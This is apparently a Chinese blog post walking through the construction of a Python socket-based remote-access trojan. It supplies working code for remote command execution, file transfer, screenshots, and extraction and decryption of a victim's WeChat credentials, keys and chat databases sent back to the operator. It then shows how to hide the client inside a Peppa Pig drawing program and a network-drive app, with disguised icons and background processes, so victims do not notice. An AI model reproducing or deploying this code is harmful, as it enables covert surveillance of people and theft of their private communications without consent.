Python远程控制程序
一个基于Python Socket 实现远程控制程序 可以用作远控木马
概述 实现的功能:
远程命令执行
远程文件上传
远程文件下载
获取远程主机截屏
在学习网络安全技术的过程中,了解到了计算机病毒、蠕虫和木马等知识,这其中木马应该是最好实现的一个,于是便想到写一个木马 在众多木马的类型中,结合学习到的网络编程知识,于是便有了这一个基于Socket实现的远程控制程序 在后续,可以将这个远控程序写入其他客户端程序中(比如之前的量子加密网盘项目),只要对方打开了桌面程序,就能远程连接
实现过程 最简单的Socket程序 首先,整个程序的框架就是基于Socket的TCP传输,先写一个最简单的Socket程序Server端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import socketsocket_server = socket.socket() socket_server.bind(('localhost' , 8888 )) socket_server.listen(1 ) conn, address = socket_server.accept() print (f'接收到客户端连接,来自{address} ' )while True : data = conn.recv(1024 ).decode("UTF-8" ) if data == 'exit' : break print ('接收到发来的消息:' , data) reply = input ('请输入回复的消息:' ).encode('UTF-8' ) conn.send(reply) conn.close() socket_server.close()
Client端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import socketsocker_client = socket.socket() socker_client.connect(('localhost' , 8888 )) print ('连接到服务端' )while True : send_msg = input ('请输入要发送的消息:' ) if send_msg == 'exit' : break socker_client.send(send_msg.encode('UTF-8' )) recv_data = socker_client.recv(1024 ) print ('服务端回复的消息:' , recv_data.decode('UTF-8' )) socker_client.close()
以上是最简单的一个Socket程序,实现了两台主机之间相互传递文字信息。 但是在这个程序中,同样存在很多的问题,比如:
传输的消息可能会超过1024
没有任何异常抛出机制,在Socket通信的过程中,一定会存在丢包、失去连接、超时等问题
………… 这些问题如果只是在上面这样一个简单程序中,基本不会有问题,但是一旦程序实现的功能多了,代码量大了,这些问题都至关重要,都需要在后续的代码中注意,不然找bug会很痛苦😢
需要强调的是,在此程序中,我将服务端作为主动执行端,客户端作为被动执行端,也就是服务端发送指令,客户端根据指令进行操作并返回服务端 对于木马程序,同样可以理解为,服务端为攻击操纵者,客户端为攻击受害者 后续的介绍中,都是以此为基础
远程命令执行 学会上面最简单的socket程序之后,接下来就是思考,怎么实现远程的命令执行 在这里我们可以使用Python中的os模块,os模块提供的就是各种 Python 程序与操作系统进行交互的接口。通过使用os模块,一方面可以方便地与操作系统进行交互,另一方面页可以极大增强代码的可移植性 Python中的os模块,理论上支持Windows、Linux和Mac OS系统,所以使用os模块,也可以增大我们编写的这个程序的使用范围 所以远程命令执行的整体流程和框架为:
graph TB
a(服务端等待客户端连接)-->b(客户端连接上服务端)
b-->c(服务端接收到连接并发送指令)
c-->d(客户端解析指令并调用OS模块执行)
使用os模块进行命令也十分简单,只需要使用os.system('命令')
或者os.popen('命令')
就可以实现, 但是但是,这里不能使用os.system
,比如我们执行dir
命令,需要返回文件夹内的内容,它不能返回命令执行后的内容 ,而os.popen
可以
补充: python中os.system
、os.popen
、subprocess.popen
都是可以实现系统命令的执行 但是他们之间也存在区别,参考文章 总结一下:
os.system
直接调用标准C的system() 函数,仅仅在一个子终端运行系统命令,而不能获取命令执行后的返回信息
os.popen
不仅执行命令而且返回执行后的信息对象(常用于需要获取执行命令后的返回信息),是通过一个管道文件将结果返回。返回的是 file read 的对象,对其进行读取read
的操作可以看到执行的输出
subprocess.popen
与os.popen
类似,但是当执行命令的参数或者返回中包含了中文文字,更建议使用subprocess
commands
可以获取返回值和命令的输出结果
所以在这个功能实现中,我选择使用os.popen
方法来实现命令执行,使用read
方法读取返回的内容Client端执行命令函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def run_cmd (socker_client, cmd ): pwd = os.getcwd() if cmd.startswith('cd' ): try : os.chdir(cmd.split()[1 ]) except FileNotFoundError: os.chdir(pwd) result = '目录不存在' socker_client.send(result.encode('UTF-8' )) return result = '切换目录成功' socker_client.send(result.encode('UTF-8' )) return try : result = os.popen(cmd).read() except Exception as e: result = f'命令执行失败:{e} ' if result == '' : result = '命令执行成功' socker_client.send(result.encode('UTF-8' ))
从上面这个函数实现代码中可以看到,我特意对cd
切换目录命令做了单独的判断 这是因为在Python程序中直接执行cd
切换目录是不起作用的,还是会返回当前程序运行的目录位置,所以需要使用os.chdir
方法对当前Python程序运行的目录进行切换 除此之外的其他命令则没有进行单独的判断,直接交给popen
执行,并用read
方法读取返回信息
值得注意的是,popen
在执行其他命令会有意想不到的返回值,可能会不返回值,并且一直阻塞,需要根据实际情况单独判断
远程下载文件 远程下载文件,需要的是服务端和客户端紧密配合,并且保证通信过程中的同步 所谓同步,一定是一收一发 的形式,不论是客户端还是服务端,一旦有一端出现了连续两次的发送或者接收,在实际的执行过程中,一定会出现死锁的现象,也就是双方都在等待对方发送消息,双方一直阻塞。 远程下载文件的整体流程和框架:
graph TB
a[服务端发送下载文件指令并指定文件名称]-->b[客户端接收下载文件指令]
b-->c[客户端搜索文件是否存在]
c-->|存在|d[客户端读取文件数据并发送头部信息]
c-->|不存在|e[客户端向服务端发送不存在指令]
d-->f[服务端接收头部信息发送确认信息]
e-->h[双方退出下载文件流程]
f-->f1[客户端接收确认信息并发送文件数据]
f1-->f2[服务端接收文件数据并写入本地文件]
这其中有一步是发送和确认文件的头部信息,这是为了告诉服务端所要接收的文件的文件大小和名称,以便写入文件。 当然这一步是可以省略的,服务端可以根据输入的指令信息得知文件的名称 在此程序中,使用get 文件名称
的方式告诉双方,我需要进行下载文件的流程Server端get函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def get_file (conn ): rev = conn.recv(1024 ) if rev == b'file_not_exist' : print ('文件不存在' ) return conn.send(b'start' ) try : rev = conn.recv(4 ) header_size = struct.unpack('i' , rev)[0 ] except (struct.error, ConnectionResetError): print ("在接收文件头部长度时发生错误" ) return conn.send(b'size_ok' ) header_bytes = conn.recv(header_size).decode('UTF-8' ) header = json.loads(header_bytes) file_name = header['file_name' ] file_size = header['file_size' ] conn.send(b'header_ok' ) print (f'文件名称:{file_name} ,文件大小:{file_size} B' ) print ('开始接收文件...' ) try : with open (file_name, 'wb' ) as f: while file_size > 0 : content = conn.recv(1024 ) file_size -= len (content) f.write(content) except IOError as e: print (f"在写入文件时发生错误: {e} " ) return print ('接收文件完成' )
Client端get函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 def get_file (conn, file_name ): if os.path.isfile(file_name): conn.send(b'file_exist' ) rev = conn.recv(1024 ) if rev != b'start' : return file_size = os.path.getsize(file_name) header = { 'file_name' : file_name, 'file_size' : file_size } header_json = json.dumps(header) header_bytes = header_json.encode('UTF-8' ) header_size = struct.pack('i' , len (header_bytes)) conn.send(header_size) rev = conn.recv(1024 ) if rev != b'size_ok' : return conn.send(header_bytes) rev = conn.recv(1024 ) if rev == b'header_ok' : try : with open (file_name, 'rb' ) as f: while file_size > 0 : content = f.read(1024 ) file_size -= len (content) conn.send(content) except Exception as e: print (f"发送错误: {e} " ) conn.send(b'' ) else : conn.send(b'file_not_exist' )
远程上传文件 在这一部分,整体的流程和上面的远程文件下载基本一致,就是将上方服务端和客户端的流程对调 这里就不过多介绍,代码是一样的 在此程序中使用put 文件名称
的形式,告诉双方我需要进入上传文件的流程
远程获取屏幕截图 Python获取屏幕截图的方式很多,比如PIL中的ImageGrab模块、windows API、PyQt、pyautogui等等参考文章 在此程序中使用了PIL中的ImageGrab模块,原因就是操作十分简单,缺点是效率较低,但是对于我们这个程序来说,几乎感觉不出差别 ImageGrab模块只需要两条命令就能搞定全屏截图,十分方便
1 2 im = ImageGrab.grab() im.save(file_name)
远程获取屏幕截图的整体流程和框架:
graph TB
a[服务端发送截屏指令并进入截屏流程]-->b[客户端接收截屏指令并进入截屏流程]
b-->c[服务端发送'start'指令]
c-->d[客户端端接收'start'指令并截屏保存文件]
d-->f[进入get下载文件流程]
c-->f
f-->e[客户端删除截屏文件,双方退出截屏流程]
在此程序中,使用screen
的方式告诉双方,我需要进行截屏的流程Server端screen函数:
1 2 3 4 5 6 7 def screen_shot (conn ): rev = conn.recv(1024 ) if rev != b'screen' : print ('截图失败' ) return conn.send(b'start' ) get_file(conn)
Client端screen函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 def screen_shot (conn ): conn.send(b'screen' ) rev = conn.recv(1024 ) if rev != b'start' : return im = ImageGrab.grab() file_name = time.strftime("%Y-%m-%d %H-%M-%S" , time.localtime()) + '.png' im.save(file_name) get_file(conn, file_name) os.remove(file_name)
获取微信数据 这里功能是基于Github开源项目:PyWxDump 其提供了一系列获取微信数据信息、聊天记录等Python接口 利用这个python项目,可以很容易获取到微信数据 如 获取微信基本信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def get_wechat_info (conn ): with open ('version_list.json' , 'r' , encoding='UTF-8' ) as f: version_list = json.load(f) wx_info = read_info(version_list, False ) if str (wx_info).startswith('[-]' ): conn.send(wx_info.encode('UTF-8' )) return None , None pid = wx_info[0 ]['pid' ] version = wx_info[0 ]['version' ] account = wx_info[0 ]['account' ] mobile = wx_info[0 ]['mobile' ] name = wx_info[0 ]['name' ] mail = wx_info[0 ]['mail' ] wxid = wx_info[0 ]['wxid' ] file_path = wx_info[0 ]['filePath' ] key = wx_info[0 ]['key' ] wechat_files = str (Path(file_path).parent) content = f""" ================== wechat info ================== [+] 进程号: {pid} [+] 版本: {version} [+] 微信号: {account} [+] 手机号: {mobile} [+] 微信名: {name} [+] 邮箱: {mail} [+] 微信数据路径: {file_path} [+] wxid: {wxid} [+] key: {key} ================== wechat info ================== """ conn.send(content.encode('UTF-8' )) return file_path, key
获取并解密微信数据库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 def get_wechat (conn ): file_path, key = get_wechat_info(conn) if file_path is None : return decrypted_path = conn.recv(1024 ).decode("UTF-8" ) if not os.path.exists(decrypted_path): os.mkdir(decrypted_path) args = { "mode" : "decrypt" , "key" : key, "db_path" : file_path + '\\Msg' , "out_path" : decrypted_path } batch_decrypt(args["key" ], args["db_path" ], args["out_path" ], False ) zip_file_path = decrypted_path + '.zip' zip_file_name = Path(zip_file_path).name if os.path.exists(zip_file_path): os.remove(zip_file_path) zip_dir(decrypted_path, zip_file_path) pwd = os.getcwd() os.chdir(str (Path(decrypted_path).parent)) get_file(conn, str (zip_file_name)) os.remove(zip_file_path) shutil.rmtree(decrypted_path) os.chdir(pwd) rev = conn.recv(1024 ) if rev != b'get_db_ok' : return file_storage_path = file_path + "\\FileStorage" zip_file_path = file_storage_path + '.zip' zip_file_name = Path(zip_file_path).name if os.path.exists(zip_file_path): os.remove(zip_file_path) zip_dir(file_storage_path, zip_file_path) pwd = os.getcwd() os.chdir(file_path) get_file(conn, str (zip_file_name)) os.remove(zip_file_path) os.chdir(pwd)
开启flask服务,查看微信聊天信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 def flask_show (): seg = input ('[*] 请输入数据库分段号:' ) args = { "mode" : "dbshow" , "msg_path" : str (db_path) + f'\\Multi\\de_MSG{seg} .db' , "micro_path" : str (db_path) + '\\de_MicroMsg.db' , "media_path" : str (db_path) + f'\\Multi\\de_MediaMSG{seg} .db' , "filestorage_path" : local_file_storage_path + "\\FileStorage" } from flask import Flask, request, jsonify, render_template, g import logging app = Flask(__name__, template_folder='./show_chat/templates' ) log = logging.getLogger('werkzeug' ) log.setLevel(logging.ERROR) app.logger.setLevel(logging.ERROR) @app.before_request def before_request (): g.MSG_ALL_db_path = args["msg_path" ] g.MicroMsg_db_path = args["micro_path" ] g.MediaMSG_all_db_path = args["media_path" ] g.FileStorage_path = args["filestorage_path" ] g.USER_LIST = get_user_list(args["msg_path" ], args["micro_path" ]) @app.route('/shutdown' , methods=['POST' ] ) def shutdown (): shutdown_func = request.environ.get('werkzeug.server.shutdown' ) if shutdown_func is None : raise RuntimeError('Not running with the Werkzeug Server' ) shutdown_func() return 'Server shutting down...' app.register_blueprint(app_show_chat) print ("[+] 查看聊天记录服务启动在 http://127.0.0.1:5000 " ) app.run(debug=False )
木马程序 peppa-pig 完成上面的几个功能就已经具备简单远控木马的特征了,接着就是需要将这个程序隐藏起来,让对方察觉不到这个程序的存在 我的思路是将这个远程控制的程序隐藏在其他应用中,并且以多线程或者多进程的方式异步的运行这个程序,并且在对方关闭应用之后,这个远程程序依旧能在后台运行 首先我找到一个利用海龟绘图绘制小猪佩奇的程序,程序是Python-100-Days 这个项目中,接着我将远控程序引入,以多线程的方式启动,最后将整个程序打包成exe可执行程序 添加多线程代码:
1 2 3 4 5 6 7 8 if __name__ == '__main__' : t1 = threading.Thread(target=peppa_pig) t2 = threading.Thread(target=client_main) t1.start() t2.start() t1.join() t2.join()
使用pyinstaller打包
1 pyinstaller -F -w -n pig -i icon.ico peppa_pig.py
需要加入资源时
1 pyinstaller -F -w -n pig -i .\icon.ico --add-data =".\assets\version_list.json;." .\peppa_pig.py
对方点击运行这个程序之后,远程控制程序同时以线程的形式进行运行,当对象关闭绘图框时,远控程序的线程还是会在后台继续运行,对方只要不打开任务管理器时难以察觉到的
量子加密网盘客户端 结合之前写的一个量子加密网盘客户端 的项目,我也将木马引入 这次的引入方式同上面的有所不同,由于上面以多线程的方式引入,而在Windows任务管理器中只会显示进程,所以还是pig.exe的程序正在运行,对方容易察觉到 这个我们换个思路,先将远控程序打包成exe可执行文件,替换其图标为动态链接库的图标,并且将名字设置为很长的一串。 接着在量子加密网盘客户端程序中,以多进程 的方式执行这个远控exe程序,最后将量子加密网盘客户端打包成exe文件,将远控程序藏在打包后的依赖文件夹中
添加多进程代码
1 2 3 4 5 if __name__ == '__main__' : multiprocessing.freeze_support() multiprocessing.Process(target=run_client).start() run()
使用pyinstaller进行打包
1 pyinstaller -D -w -n QE_Network_Drive -i icon.ico flet_GUI.py
在这个过程中,我尝试了很多的办法,都会出现一个问题:在Pycharm下运行没有问题,但是打包后运行exe程序,整个电脑直接卡死,内存爆满,最后直接重启。 解决办法就是使用multiprocessing.freeze_support()
不过后续还是需要将这个远控程序图标和名称改的更加合适一点,毕竟dll动态链接库怎么可能在后台运行
总结 整个项目或者说是程序,总体上比较简单,没有什么很难的点,在这个过程中用到最多的就是计算机网络 和网络编程 中的知识点,于此同时,最后部分也涉及到了Python异步编程 ,多线程 ,多进程 以及协程 的概念,完成这个程序也算是巩固和补充了这些方面的知识,弥补了一些不懂的地方,现在写下来也算是回顾总结学到的知识点。